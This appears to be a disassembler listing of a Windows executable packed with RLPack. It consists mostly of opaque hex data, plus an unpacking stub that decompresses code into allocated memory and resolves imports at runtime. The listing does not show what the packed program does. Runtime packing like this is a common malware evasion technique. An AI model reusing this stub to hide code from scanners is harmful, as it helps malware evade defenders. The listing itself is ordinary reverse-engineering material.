6F893457h, 508CD714h, 71C09ECh, 45E8E4FFh dd 121B3C01h, 0FF087515h, 5A06EB42h, 0BA02C026h, 5042B68Ah dd 32D01E3Ah, 31346212h, 9A937115h, 4541B18h, 4E841CF3h dd 0E9283382h, 0ECC3080Bh, 1B0A40E7h, 4528EEA5h, 33622324h dd 43890370h, 45C90817h, 3AF95D74h, 2001110Eh, 120AB8E1h dd 0BB312946h, 8C5C030Fh, 0A32E34EFh, 655C8952h, 20018850h dd 0E30EFBDCh, 0C2A84F09h, 27765750h, 0D0483F25h, 32074FC8h dd 0D316704Bh, 5A7812F0h, 6EBF0447h, 7B0388E1h, 0E1660310h dd 101E2001h, 1D110390h, 121C313Ch, 682AE004h, 29DD4AA1h dd 239EA42Bh, 7505C89h, 6559455Eh, 0D81C123Eh, 8A90426h dd 4221C01Fh, 4A84E82Eh, 0AD637954h, 0D7023208h, 0CBE5ACE5h dd 5604916Ch, 0C8E1ACCAh, 7CC90101h, 0B048011h, 0AC14289Ah dd 888F877Ah, 68C70480h, 72B3C088h, 4285A381h, 8B40215h dd 0A0B695B2h, 0EB080672h, 0AA85560Bh, 461E088Ah, 0C8B3110Ah dd 41ED70D5h, 86272C00h, 0A059D226h, 0AA5E38B3h, 0C56F8808h dd 0E25A655Fh, 865AB83Ch, 5B182F56h, 8D661868h, 103C78C4h dd 0A8106E8Dh, 62708413h, 35BC7257h, 0D08A1465h, 0F13678F2h dd 0C4239C1Bh, 40C02A40h dd 3D8D9F4Eh, 11CEA004h, 580698Fh, 2E05303Eh, 0F6D0011Bh dd 0A48FB5B0h, 3C2360C4h, 91D4F7DCh, 0A42868A0h, 17EA4D51h dd 3C1143B8h, 41248A08h, 0FBBC0B2Fh, 4D08A079h, 0D9722D52h dd 0C1536493h, 6609BD59h, 531D4D7Dh, 365A0230h, 0E04B0875h dd 0C029B5CEh, 190940Ch, 3DBFEBCAh, 7A156785h, 0E4082B76h dd 1F48572Ch, 0EB88444Fh, 5534CA01h, 3C791CD4h, 84F46101h dd 44045990h, 0D018B0F5h, 74179BA4h, 9CCC129Fh, 8A47Dh dd 5B03EB60h, 0F8E8C353h, 310070BEh, 13404C0h, 0F0507FD8h dd 10021CD2h, 0FD30DC40h, 28412361h, 0DDC6C9C2h, 0C166E0E2h dd 1EC1EA7Ch, 302F630h, 1C097FFh, 0FA584313h, 1C08F6C9h dd 3D61D5E0h, 77BD1979h, 9101B3FCh, 280C012h, 0E7655B4Fh dd 959F0691h, 805C0C2Ch, 0FD09818h, 0A1126BFFh, 330036AFh dd 7EF8C346h, 145A3428h, 3697039h, 6B775C65h, 63768973h dd 0BF1674C3h, 93D7D492h, 2E112948h, 6017A70Ch, 802C6FA7h dd 0AFA8BD80h, 0E0C47D8Ah, 2920F4BEh, 159F0189h, 0CA18C42Ch dd 0B003983Ch, 97520001h, 11D059CAh, 0A0E0D5A8h, 800DC90Eh dd 26001151h, 371D55B5h, 4600C5C1h, 8F6379ABh, 70E8682Ah dd 3E358969h, 794CC099h, 0F505A19Eh, 4284F808h, 14FC21F9h dd 2F285F27h, 21374205h, 8440103Fh, 42440441h, 2434408h dd 0AD404545h, 2047C400h, 1023484Ah, 444A8849h, 114D224Bh dd 844F084Eh, 9F289842h, 5912205h, 22099222h, 95220393h dd 11962241h, 4A219722h, 14A79899h, 4307666h, 75F42009h dd 89E0E844h, 24D412D8h, 91C048C8h, 3B0410B8h, 0A811B033h dd 44A40922h, 8C8994A0h, 78248012h, 64917048h, 5C446022h dd 12508958h, 48402448h, 22309138h, 20244428h, 144C1889h dd 120C8910h, 10112E04h, 0F03274F8h, 0E024E809h, 0D091D848h dd 0CCC85C40h, 0B409C011h, 0A812AC89h, 9448A024h, 84228C91h dd 8B7C8044h, 917048FCh, 44602268h, 48895058h, 38244012h dd 0CCA13448h, 20112819h, 22180991h, 3C084510h, 62089020h dd 473FC09h, 91E448F0h, 44CC22D8h, 9889ACC0h, 80248812h dd 48915048h, 1804022h, 27F991D0h, 323CB368h, 34093851h dd 1C482824h, 10221491h, 40FC0444h, 0F489F872h, 0EC24F012h dd 0E091E848h, 0D044D822h, 12BC89C8h, 48A424B0h, 2290919Ch dd 58804488h, 0A1784240h, 4C034820h, 64701922h, 54600968h dd 0E458A368h, 4C33F49Eh, 9EA44421h, 213C33FCh, 2C092234h dd 891C2444h, 149A1414h, 8211033h, 71FC091Bh, 24DEA4B9h dd 6371EC13h, 0D8C4E028h, 11CCD82Ch, 89C809D0h, 24B812C0h dd 91AC48B0h, 45A422A8h, 0EA5422A0h, 98A84C49h, 33E9A8A4h dd 19808C54h, 0C8ACA478h, 0D4A06809h, 60196893h, 9915819h dd 91482250h, 113C1978h, 8067F22Ch, 18192419h, 48080991h dd 70F4848Ch, 0EC09F00Ch, 8A14E489h, 19D0339Ch, 0A4DBA4C4h dd 0B839C08Ch, 0A4B409C8h, 9DAC51B0h, 0B826A419h, 0B878255Fh dd 6FB1704Ah, 0ED6C62C0h, 219F6BE5h, 9708B778h, 0EC69A76Fh dd 0DB8B6819h, 66BBD572h, 71EE1814h, 6F2C42EDh, 2C41294h dd 50AE6264h, 0A377081Dh, 6108340Ch, 2C49BF34h, 0CDC45670h dd 42140F49h, 901E4234h, 0F3119B0Ch, 18AF426Dh, 88D110D1h dd 0F8D86537h, 742610B4h, 0A1767A1Ah, 6EE16D08h, 731079E1h dd 7470756Ch, 0EE696288h, 66684463h, 0CB93DEFFh, 3E786581h dd 93DE84C9h, 4F64C534h, 33110C26h, 7A367771h, 2CDB4870h dd 525FE7E2h, 26AB0C25h, 74F2115Bh, 0F281C93h, 32230884h dd 3839086Bh, 87B1CBCBh, 456D6542h, 9019B60Ah, 97E2634Fh dd 43E8A25Fh, 4AF0430Ch, 0E76D01E0h, 68F8E5BEh, 37AB5078h dd 169C5DFEh, 848C6CDEh, 0C574722Ah, 708092E9h, 40084A51h dd 75496E18h, 6665C360h, 8E164161h, 8EA1CA19h, 83FA2014h dd 0FA586808h, 53B5222Ch, 34230835h, 0E0983190h, 0A0E77263h dd 794FF745h, 38070AE1h, 6E8129Fh, 946B4445h, 0B844120Dh dd 9630A2DBh, 700EE10Ch, 0B8082187h, 0E18C7046h, 4109B819h dd 50F619B6h, 6477701Ch, 852EC24h, 0ECCA2808h, 0B810D53Eh dd 0A4204D3Fh, 40120C64h, 96D86BCh, 7B19AF11h, 0A0882C0Fh dd 15746CB5h, 44095C1Ch, 0A75636Fh, 51A75805h, 0BC531E30h dd 479F6EC8h, 1B6C415Ch, 544F8474h, 62ADA721h, 32A8EE07h dd 8A54171h, 8B34EF5Ch, 630C0DBBh, 1EC35D18h, 12706814h dd 282D8553h, 4620BAC2h, 0E999D758h, 74BD42B8h, 63900CA5h dd 1C8248F6h, 0A488140Ah, 64661C23h, 0E51F6FB0h, 9AE1FA78h dd 30D6EA2h, 0FE647518h, 5DDE8AA7h, 5C55360Fh, 1C49874Dh dd 0BDD39F48h, 633779C4h, 439D8965h, 3FD8DCF6h, 0ED7B014Dh dd 0D2421A4h, 37C17161h, 69630D10h, 10352673h, 0B16D62DCh dd 70CC3FB0h, 8DBAC4Ch, 47C99DDh, 0BA909424h, 8C396B13h dd 536414A6h, 5167103Ch, 3428A6B2h, 0A470750Ah, 6E17A348h dd 594137F8h, 79723C8Ah, 686B1B28h, 4508F442h, 0A6882138h dd 0C54856CCh, 0AC8D5234h, 182295FFh, 0DB916C75h, 5DCC3284h dd 34D2CC6Ah, 9418E864h, 0A2726246h, 759C2712h, 6565082Ah dd 4CB4A450h, 406B2ABFh, 7448707Fh, 6F6AC218h, 0A2004668h dd 621811B6h, 66E8B1E2h, 416D5B26h, 46DED32Eh, 2EE56278h dd 0E755DC95h, 6D1FD430h, 51685B4h, 0E0685103h, 810C9CFAh dd 0A62A6908h, 0DB044CACh, 0D4087E02h, 59715C88h, 0A8963074h dd 2444D3A9h, 7B5D7875h, 6308EFF9h, 0A6F6CCB7h, 2BDADC48h dd 47082271h, 57F24173h, 730C3AC5h, 1CA7F875h, 82D06E28h dd 1053F42Ch, 20311B00h, 0DE0A0D2Dh, 0D9276310h, 0BF2DE4FCh dd 97545F6Ch, 66E75BE7h, 0D0053C5Fh, 387608E2h, 74364398h dd 33797877h, 1E3FD2B9h, 319E6866h, 0B6343F3Dh, 0FD12844Ah dd 27983AE9h, 7264422Eh, 0EE787739h, 0E928D54Ah, 0E92D5390h dd 27399304h, 0FD849D6Bh, 7CA3FE35h, 38FD7CF0h, 334A3190h dd 30A03CF8h, 18A51466h, 652CD23Eh, 3692C38h, 42F03989h dd 3415081Ch, 14283532h, 0A114ABA8h, 0C4A31B0h, 20373E60h dd 26E52F22h, 25A1440h, 0C550D574h, 883C0F91h, 879CAE35h dd 85339184h, 5028AE10h, 85949333h, 721386D0h, 0A4462014h dd 69D32C84h, 31CDC0ACh, 3A300D1Ah, 100DE4CDh, 0FC7151AFh dd 7C544678h, 72E7BA50h, 0B961FB6Dh, 5FB6CA6Eh, 0D630D4F4h dd 2FFC2405h, 19053821h, 78186B04h, 0AEF41032h, 7AEA2FD4h dd 5E4C4670h, 0DD01B962h, 0C77682ABh, 748A7414h, 0B77A93A3h dd 4AC062B5h, 14AC1DF9h, 0BE98C54h, 0EB03D815h, 88B97015h dd 10E1F181h, 3874805Eh, 0E201FF31h, 0E805EBF9h, 4982FE6h dd 64DB0733h, 3330438Bh, 70B00C40h, 78F4AD1Ch, 45E80818h dd 0FC56532Bh, 3F3C7D5Fh, 39E3B5Ch, 5B18FDDFh, 0C3830D20h dd 337E0479h, 0C907F773h, 0C1C832ACh, 0C0840510h, 2BF61D75h dd 58E90ECAh, 0EBD1D8A0h, 24E4035Eh, 8B6646C3h, 1CA6970Bh dd 52BEEF10h, 5B8FC7BCh, 68A9E0FFh, 0AEACA94Bh, 0BA540990h dd 46E0092h, 8BD6FF84h, 0EC4E81F8h, 0C38EF697h, 97016A53h dd 7083BA93h, 3E2CDFB0h, 6D0668AEh, 0D4349C33h, 106AD880h dd 0CBA5352h, 5A603063h, 0B4395036h, 1A55B702h, 0E2D45807h dd 3B26BF0Ah, 57B4E5A9h, 0E7B0D5EFh, 0C2A69001h, 82504001h dd 733B7A14h, 0D310FA1h dd 5769D310h, 0C033428Ah, 2DA57C8h, 0A05443B0h, 7972328Dh dd 81668019h, 11027D1Ch, 0EED754Ch, 3226F04h, 0DBABE42Ah dd 83022C70h, 758B20ECh, 83B496EAh, 5D89980Fh, 34A1E704h dd 65143E50h, 0A1A9C814h, 0CFFCB38h, 0F8D44589h, 55F68E90h dd 24FF75F6h, 0E0406679h, 19F87E83h, 0E9C5850Fh, 0DF9938Bh dd 8FC371F7h, 5E241845h, 6A24BF02h, 0FE6EC0C6h, 0D33D0ABAh dd 14A5C6Bh, 840F401Ch, 0C38528Dh, 3ACDA74Ch, 5DAF14h dd 0C0859D83h, 0C8B91E74h, 5357D441h, 104D8D0Ah, 1C401F51h dd 20BEB9BAh, 39C2CBF5h, 83C5EB40h, 0BA935C10h, 446A029Dh dd 8BE0CA81h, 0ABD7C8FCh, 3B6698D4h, 0FDE21959h, 50C55283h dd 77000149h, 4094F12Ch, 0FE1F5826h, 3CFE53C7h, 0DE341A01h dd 863E1418h, 0CF531497h, 0C297727h, 56850284h, 0D71B0731h dd 0C10C46B1h, 0E32A14B8h, 13E62FA8h, 7D181D90h, 90C0ECCh dd 7CF08804h, 1916E481h, 0EA82F78Dh, 0B0CEACFBh, 0FDB20Ch dd 89BED5ABh, 0A5C9878Eh, 0E6A8931Dh, 0F028D354h, 85A0FBE6h dd 0A9FFBF83h, 8D83A0D5h, 0AFD201C3h, 0C5EAA8CAh, 89720CDDh dd 0E7631262h, 0E573C590h, 7BD46BFCh, 913C9EAAh, 8C75BC25h dd 0ADBA03C1h, 3CC296F7h, 0ADFDEF1Ch, 0BC10F821h, 161AE295h dd 0ACE7433Ah, 80BE4368h, 8BECABB0h, 0D69223B4h, 35FAEA42h dd 71C79B88h, 0A6F52AB2h, 763A3EA1h, 0C1C50121h, 0C3E8A0AEh dd 92C43A84h, 87C96CCDh, 0E0FA071h, 12EBA5A9h, 0D6855C3Bh dd 0C93A3CD3h, 4EC8598Fh, 3A6CE4AEh, 0BAF08DCFh, 0F8F54AAFh dd 92CC1418h, 0FFE8B01Fh, 3AC253AAh, 40B7D0B0h, 908F01E0h dd 0AF10BB8Bh, 0BDB3E0BAh, 0B98A24EBh, 0ABFAF822h, 3EF1C843h dd 43A5BC6h, 0CA84DF96h, 0C79AC42Eh, 0A713BD38h, 15ED98EBh dd 26FDECE1h, 1A03A721h, 17442B6h, 1FE65AAAh, 0E1551065h dd 4102DE81h, 96385470h, 6618C42Fh, 0D995100Ch, 492D4353h dd 3739538Bh, 14ADF32Eh, 994B5937h, 4FC13A06h, 7E66E22Ah dd 542F2027h, 0AA7A7296h, 8CAC534Eh, 0EDF99771h, 9D0A3AC6h dd 0C55BEA51h, 9D793ECBh, 0C2BDA472h, 0FFC57566h, 3C21AC21h dd 592315EFh, 6356A4C0h, 0F564C150h, 5542E9F8h, 0BBFDC79Bh dd 87985E26h, 2C1D722Dh, 74B62C67h, 20756D3Ah, 845C760Bh dd 6DBD7441h, 29640865h, 0C1E22B34h, 0BC746916h, 9AE7908Ah dd 861C140Ch, 4858B4F9h, 3D7E6839h, 27346F2Bh, 0CD5E3354h dd 0A022E1Dh, 0B63BD174h, 7A2748B6h, 194365DFh, 0B925C542h dd 7A5CCE7Bh, 455394A4h, 0BD732926h, 0A870A34h, 291A5799h dd 57864E55h, 38DA2065h, 0BF256575h, 0D3EAFC4Ah, 70A968AEh dd 38E73AF9h, 1A5554C9h, 63168783h, 8BB1D21Eh, 438FB63Ah dd 3FCB683Ch, 3A5D3A71h, 8ABF8604h, 0F4214215h, 0E15E738Bh dd 7ED2A56Bh, 52137A78h, 0EA7D484Ah, 2E92B822h, 493B90AFh dd 8568A6B1h, 0DEB0A479h, 37B47687h, 0DF3D2475h, 0D506623h dd 7465266Bh, 3D156EBFh, 417903EEh, 0A07A3633h, 16643834h dd 0E666845h, 47A767B6h, 37354352h, 6C5531DFh, 0C233F544h dd 0EE46B899h, 0A8DD6375h, 0F55C5058h, 8965889Fh, 9B75642Eh dd 172BF5D0h, 7306B87Ch, 0BE6DF067h, 8444A7EFh, 2F233187h dd 42F17627h, 0B4873125h, 0AF54D44Fh, 0DC439088h, 8B4E7733h dd 0AD3E618Eh, 1A348CF3h, 79F62E39h, 32483B84h, 145BEF9Eh dd 9FBE9E34h, 0F24D4CC0h, 8CE7962Fh, 743BF346h, 2349DDE9h dd 0DA2291C2h, 0EDC6758Ch, 62AA7ABh, 29DB0640h, 32BF850Ah dd 0B2823D16h, 6A5C3732h, 68427C4Bh, 25507110h, 4C100E72h dd 990E4230h, 91F35B02h, 50045D5Eh, 44D14C0Dh, 34903C91h dd 4652091h, 55DC2E5Bh, 94CB0BDAh, 0F4159161h, 0DB6566D3h dd 3D999F6Ch, 9DCEBC20h, 4E5FE68Bh, 0C020AD37h, 413A4549h dd 6F2579B0h, 2BDE6C43h, 2A7E5020h, 0DE53491Dh, 0BDC4F94Ah dd 953A2C18h, 1C5AB859h, 5D5CF15Ch, 0F1697666h, 0CE465A53h dd 3D378712h, 3DC24427h, 0D19D4734h, 4EA62890h, 9B98ED2Fh dd 99BADC20h, 490708E8h, 8E9F2498h, 363164F4h, 8B358983h dd 783C8561h, 4E533A4Dh, 45FA4529h, 490F452Dh, 0CCB92A44h dd 1C62892Ch, 0D2313839h, 7C10AF63h, 3218A9C8h, 5D02B22Dh dd 20957274h, 65350EEAh, 30CC5937h, 5A64B4C6h, 14BECD4Fh dd 65D6AAB7h, 0D24D85BAh, 6407105Eh, 31156335h, 1D3FC88Dh dd 3B78134Dh, 0B910495Ch, 283157DAh, 0B15AF01Eh, 11D02D04h dd 42FF398Ch, 496B1250h, 81A4319Fh, 94242F72h, 29AA9361h dd 56B9133Fh, 4475EA35h, 3F2BF50Eh, 0D819DE65h, 75D7726Eh dd 8B5649BCh, 2A65CED4h, 5711386Dh, 0CC6CCACCh, 1266674Fh dd 0BE639761h, 1D74149Eh, 0AEC0C4E5h, 0EE3E55D6h, 24EEDE6Ch dd 0C55FF258h, 0CC561914h, 590CA276h, 88392FD6h, 0D12CE22Fh dd 0AB449BA3h, 0A3FFCF64h, 41302E36h, 70F1EB5Ah, 0C443214Ah dd 75E050D3h, 0A995DCDh, 3129DA9Dh, 4DC233D8h, 5318A96Dh dd 8D585117h, 2CD2D4E1h, 30893809h, 24010A14h, 721C6408h dd 1C083914h, 238C46FCh, 0C8EC91F4h, 1401E8E8h, 0D8CA0CE0h dd 72D06408h, 1CBC39C4h, 0AC478EB4h, 8A731C11h, 986510A0h dd 39880832h, 8E7C1C84h, 0C8747052h, 7260E464h, 1C503958h dd 40478E48h, 30943823h, 3924B244h, 8E141C1Ch, 4230C47h dd 348BFC8Ah, 0CE45552h, 0D4886882h, 345EA508h, 0C3F7114Dh dd 0CC43CB50h, 97CCED17h, 37A4C4ECh, 0D80B19ACh, 75948853h dd 3120CF08h, 63932D88h, 7A6EE50Fh, 0BDE47555h, 797311C7h dd 74E460FBh, 9343592Dh, 3A37AB58h, 0C148D718h, 7A392E31h dd 0CE0CBF50h, 2F6C0335h, 62698270h, 0B5E95A06h, 10F4733Ah dd 0B16C06B2h, 0CD2C2E08h, 6BA2B96Ch, 8A1657Fh, 0FAD1D2Dh dd 6DA49CE5h, 759CE92Dh, 84168DDh, 1EAF7873h, 15305465h dd 0AB3D7770h, 1467B528h, 64E738FAh, 607EA5B8h, 985095EFh dd 0A43A202Dh, 51D99D4Eh, 7966943Ah, 40A44251h, 0BBF4D08h dd 0E549131Ch, 97113036h, 0F0B4407Bh, 9085034h, 13701653h dd 0E1D1A0Dh, 4A72F96Ah, 65A7539Dh, 2763CB3Ah, 3A492F3Eh dd 0C5905378h, 6C818265h, 43688F59h, 896E7362h, 9750F88Eh dd 34A0E473h, 41EC298Dh, 4B04B2ECh, 7FCFCAEh, 87CA88FBh dd 0E1D4A557h, 0A30004CAh, 68CD9F82h, 0D400EE5Dh, 1FC7575Bh dd 699AB344h, 8B95A13h, 2B2F1990h, 0F1E1C060h, 21EAC4A7h dd 239C81D9h, 6438606Fh, 2B0EDC73h, 0FD00DD01h, 0A58EEBEDh dd 99CC0183h, 0F59BB8DCh, 7E84E3A7h, 0EFC87FADh, 47989D62h dd 0FA00ABA9h, 8CD5B998h, 70A6DDD9h, 0DF01AF93h, 0B2EFF403h dd 10C08CBBh, 0E4CA93h, 8EF6E999h, 0ABB88BC5h, 97B89CBDh dd 44F7CF1h, 0C8BB7069h, 2CF36C9Dh, 0FFF572B3h, 29ED224Bh dd 82237335h, 0B35670B7h, 9CE1974Fh, 93BFB53Fh, 25FB6E10h dd 0F812953Dh, 5C219079h, 16AB92ACh, 0BF3013CCh, 7A0DEA36h dd 330CE578h, 9D107A4h, 3D60C090h, 48FDF0Bh, 8E101B54h dd 0B41CEA65h, 0CC19D142h, 3C4CCC22h, 56173F2Eh, 12E65D5Fh dd 0C949EF65h, 48A37940h, 0C95D7220h, 0A53A5F8Dh, 203EA950h dd 0B075h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn public start start proc near var_24 = dword ptr -24h pusha call $+5 lea esp, [esp+4] mov ebp, [esp+20h+var_24] lea esi, [ebp+24Ch] lea ebx, [ebp+113h] xor edi, edi jmp short loc_4288DC ; --------------------------------------------------------------------------- loc_4288CD: ; CODE XREF: start+31j push dword ptr [edi+esi+4] push dword ptr [edi+esi] call ebx ; recv add esp, 8 add edi, 8 loc_4288DC: ; CODE XREF: start+1Cj cmp dword ptr [edi+esi], 0 jnz short loc_4288CD lea esi, [edi+esi+4] push ebx push 40h push 1000h push 70Eh push 0 call dword ptr [ebp+1F9h] mov [ebp+248h], eax pop ebx push dword ptr [ebp+248h] push esi call ebx ; recv add esp, 8 mov esi, [ebp+248h] mov eax, esi jmp short loc_428919 ; --------------------------------------------------------------------------- loc_428918: ; CODE XREF: start+6Dj inc eax loc_428919: ; CODE XREF: start+67j cmp byte ptr [eax], 1 jnz short loc_428918 inc eax mov edi, [eax] add eax, 4 mov [ebp+244h], eax jmp short loc_4289A6 ; --------------------------------------------------------------------------- loc_42892C: ; CODE XREF: start+FAj push esi call dword ptr [ebp+1F1h] mov [ebp+240h], eax mov eax, esi jmp short loc_42898C ; --------------------------------------------------------------------------- loc_42893D: ; CODE XREF: start+E0j mov eax, [ebp+244h] mov eax, [eax] test eax, 80000000h jz short loc_428960 xor eax, 80000000h push eax mov eax, [ebp+244h] mov dword ptr [eax], 202020h jmp short loc_428966 ; --------------------------------------------------------------------------- loc_428960: ; CODE XREF: start+9Bj push dword ptr [ebp+244h] loc_428966: ; CODE XREF: start+AFj push dword ptr [ebp+240h] call dword ptr [ebp+1F5h] mov [edi], eax add edi, 4 mov eax, [ebp+244h] jmp short loc_428980 ; --------------------------------------------------------------------------- loc_42897F: ; CODE XREF: start+D4j inc eax loc_428980: ; CODE XREF: start+CEj cmp byte ptr [eax], 0 jnz short loc_42897F inc eax mov [ebp+244h], eax loc_42898C: ; CODE XREF: start+8Cj cmp byte ptr [eax], 0 jnz short loc_42893D jmp short loc_428994 ; --------------------------------------------------------------------------- loc_428993: ; CODE XREF: start+E8j inc esi loc_428994: ; CODE XREF: start+E2j cmp byte ptr [esi], 0 jnz short loc_428993 inc esi inc eax mov edi, [eax] add eax, 4 mov [ebp+244h], eax loc_4289A6: ; CODE XREF: start+7Bj cmp byte ptr [esi], 1 jnz short loc_42892C push 4000h push 70Eh push dword ptr [ebp+248h] call dword ptr [ebp+1FDh] popa push offset sub_4111E8 retn start endp ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h xor ebx, ebx loc_4289D6: ; CODE XREF: .RLPack:004289DEj movsb mov bl, 2 loc_4289D9: ; CODE XREF: .RLPack:00428A03j ; .RLPack:00428A49j call sub_428A4B jnb short loc_4289D6 xor ecx, ecx call sub_428A4B jnb short loc_428A05 xor eax, eax call sub_428A4B jnb short loc_428A15 mov bl, 2 inc ecx mov al, 10h loc_4289F7: ; CODE XREF: .RLPack:004289FEj call sub_428A4B adc al, al jnb short loc_4289F7 jnz short loc_428A41 stosb jmp short loc_4289D9 ; --------------------------------------------------------------------------- loc_428A05: ; CODE XREF: .RLPack:004289E7j call sub_428A57 sub ecx, ebx jnz short loc_428A1E call sub_428A55 jmp short loc_428A3D ; --------------------------------------------------------------------------- loc_428A15: ; CODE XREF: .RLPack:004289F0j lodsb shr eax, 1 jz short loc_428A67 adc ecx, ecx jmp short loc_428A3A ; --------------------------------------------------------------------------- loc_428A1E: ; CODE XREF: .RLPack:00428A0Cj xchg eax, ecx dec eax shl eax, 8 lodsb call sub_428A55 cmp eax, 7D00h jnb short loc_428A3A cmp ah, 5 jnb short loc_428A3B cmp eax, 7Fh ja short loc_428A3C loc_428A3A: ; CODE XREF: .RLPack:00428A1Cj ; .RLPack:00428A2Ej inc ecx loc_428A3B: ; CODE XREF: .RLPack:00428A33j inc ecx loc_428A3C: ; CODE XREF: .RLPack:00428A38j xchg eax, ebp loc_428A3D: ; CODE XREF: .RLPack:00428A13j mov eax, ebp mov bl, 1 loc_428A41: ; CODE XREF: .RLPack:00428A00j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_4289D9 ; =============== S U B R O U T I N E ======================================= sub_428A4B proc near ; CODE XREF: .RLPack:loc_4289D9p ; .RLPack:004289E2p ... add dl, dl jnz short locret_428A54 mov dl, [esi] inc esi adc dl, dl locret_428A54: ; CODE XREF: sub_428A4B+2j retn sub_428A4B endp ; =============== S U B R O U T I N E ======================================= sub_428A55 proc near ; CODE XREF: .RLPack:00428A0Ep ; .RLPack:00428A24p xor ecx, ecx sub_428A55 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428A57 proc near ; CODE XREF: .RLPack:loc_428A05p inc ecx loc_428A58: ; CODE XREF: sub_428A57+Dj call sub_428A4B adc ecx, ecx call sub_428A4B jb short loc_428A58 retn sub_428A57 endp ; --------------------------------------------------------------------------- loc_428A67: ; CODE XREF: .RLPack:00428A18j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 28A9900h, 28AA600h, 5 dup(0) dd 72656B00h, 336C656Eh, 6C642E32h, 5D8006Ch, 0A5FD77E8h dd 980A77E7h, 9E3477E7h, 77E7h, 0 aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aVirtualalloc db 'VirtualAlloc',0 align 4 aVirtualfree db 'VirtualFree',0 dd 0D4000000h, 3204B777h, 32000000h, 41C00000h, 40100000h dd 4259F100h, 41200000h, 4260EC00h, 41300000h, 0 dd 53004D00h, 54524356h, 0E36C642Eh, 32EC57C1h, 0A833735Fh dd 39454B0Bh, 4CA94E52h, 53558D0Dh, 410B0C1Ch, 94564439h dd 0C60D4950h, 8C464853h, 0F84F7A24h, 54552941h, 1801870Dh dd 5F00DE21h, 616F7469h, 0C7730CCEh, 63A16E72h, 148E706Dh dd 54277843h, 776FD168h, 65FBE345h, 0E56974F9h, 0C53FC16Eh dd 0EF79E131h, 66F654EEh, 55E240FCh, 9A45413Ah, 505A58h dd 61724629h, 48653A6Dh, 6F9C6E37h, 62363D5Ch, 63756E8Ah dd 774C47E1h, 191BCE61h, 467970F1h, 6E513E07h, 600E0616h dd 766FCCE5h, 0C680B6EBh, 6C068922h, 6E737600h, 0BEDE707Dh dd 421F66D4h, 6C926686h, 8472F696h, 1D1A0F82h, 40328901h dd 23D94759h, 5ABB4958h, 0F7331B22h, 821B1DB6h, 5F0D2386h dd 13676562h, 6173C107h, 7E78D364h, 0EEC6A61Eh, 70A4AC68h dd 691CCC33h, 0C1DC66E1h, 0FB1C3634h, 0D6AC5137h, 84B4AC63h dd 0B68A85FFh, 0ED00725h, 1C786DC4h, 696FCF01h, 65D7BFC3h dd 830C6B16h, 6F0C155Ch, 6D7CD570h, 992A7A63h, 7468770Eh dd 9A080FB6h, 5ED0B486h, 6F349BCAh, 68DB430Eh, 0DE5529D5h dd 783064Eh, 946C976Fh, 2722B582h, 70F3B35Fh, 220824DAh dd 0E04189Eh, 9C89780h, 22129116h, 13024415h, 0A120589h dd 0C481724h, 6F223391h, 89030144h, 24091270h, 91064834h dd 4410220Bh, 74891408h, 2291112h, 8A494150h, 39998780h dd 991731Bh, 3032700Dh, 8247FC20h, 856F43C0h, 0D704758Ch dd 0E9944E72h, 1856114Ch, 90159A73h, 4C0E891Eh, 0EEBE72A0h dd 0CC199A49h, 755D531Eh, 1D27251h, 0B36944E8h, 0E36FA20Ch dd 6C2A2B79h, 482D22D7h, 64240357h, 1E7314D6h, 4B4B43B2h dd 9346BA24h, 9205C21h, 0D2DA547Dh, 0DF0C1696h, 8C79DB31h dd 5838BAEFh, 6C79754Dh, 9FF342FCh, 0AAF5542Ah, 0A43E809h dd 8B20A9DFh, 0D7A7EBEBh, 427A9F62h, 0C3504D24h, 64CB635Bh dd 0C2A3688Eh, 69AE0A85h, 820CA010h, 727988D2h, 28614CE3h dd 0D3B445B4h, 95561DAAh, 0FB9B8A69h, 6863860Ah, 523A9950h dd 690A9FA1h, 0A5A88870h, 4DEC6250h, 822388A2h, 2C337453h dd 0A1449675h, 35616C70h, 0E80342A6h, 4D69C82Eh, 2E6AE67Ah dd 49643891h, 87DCA140h, 22FAFE37h, 0A85209CEh, 39B37349h dd 0D530414Dh, 0A541490Ch, 0AC1F2011h, 704F4D7Ch, 0C903943h dd 0B59091D1h, 0E80E4E69h, 0FFBE540Fh, 84436548h, 9F499290h dd 55959E42h, 14D241CEh, 0D4552792h, 0BF32A215h, 7F856446h dd 8A34D444h, 54C762A4h, 56B044C6h, 0FA06E4Ch, 0E2695670h dd 99664F77h, 0E4F4DABh, 319BC153h, 6753F68Eh, 73AA50BBh dd 64616F4Ch, 7262694Ch, 41797261h, 65470000h, 6F725074h dd 64644163h, 73736572h, 69560000h, 61757472h, 6C6C416Ch dd 636Fh, 74726956h, 466C6175h, 656572h, 3 dup(0) dd 41C00000h, 40100000h, 4259F100h, 41200000h, 4260EC00h dd 41300000h, 0 dd 53004D00h, 54524356h, 0E36C642Eh, 32EC57C1h, 0A833735Fh dd 39454B0Bh, 4CA94E52h, 53558D0Dh, 410B0C1Ch, 94564439h dd 0C60D4950h, 8C464853h, 0F84F7A24h, 54552941h, 1801870Dh dd 5F00DE21h, 616F7469h, 0C7730CCEh, 63A16E72h, 148E706Dh dd 54277843h, 776FD168h, 65FBE345h, 0E56974F9h, 0C53FC16Eh dd 0EF79E131h, 66F654EEh, 55E240FCh, 9A45413Ah, 505A58h dd 61724629h, 48653A6Dh, 6F9C6E37h, 62363D5Ch, 63756E8Ah dd 774C47E1h, 191BCE61h, 467970F1h, 6E513E07h, 600E0616h dd 766FCCE5h, 0C680B6EBh, 6C068922h, 6E737600h, 0BEDE707Dh dd 421F66D4h, 6C926686h, 8472F696h, 1D1A0F82h, 40328901h dd 23D94759h, 5ABB4958h, 0F7331B22h, 821B1DB6h, 5F0D2386h dd 13676562h, 6173C107h, 7E78D364h, 0EEC6A61Eh, 70A4AC68h dd 691CCC33h, 0C1DC66E1h, 0FB1C3634h, 0D6AC5137h, 84B4AC63h dd 0B68A85FFh, 0ED00725h, 1C786DC4h, 696FCF01h, 65D7BFC3h dd 830C6B16h, 6F0C155Ch, 6D7CD570h, 992A7A63h, 7468770Eh dd 9A080FB6h, 5ED0B486h, 6F349BCAh, 68DB430Eh, 0DE5529D5h dd 783064Eh, 946C976Fh, 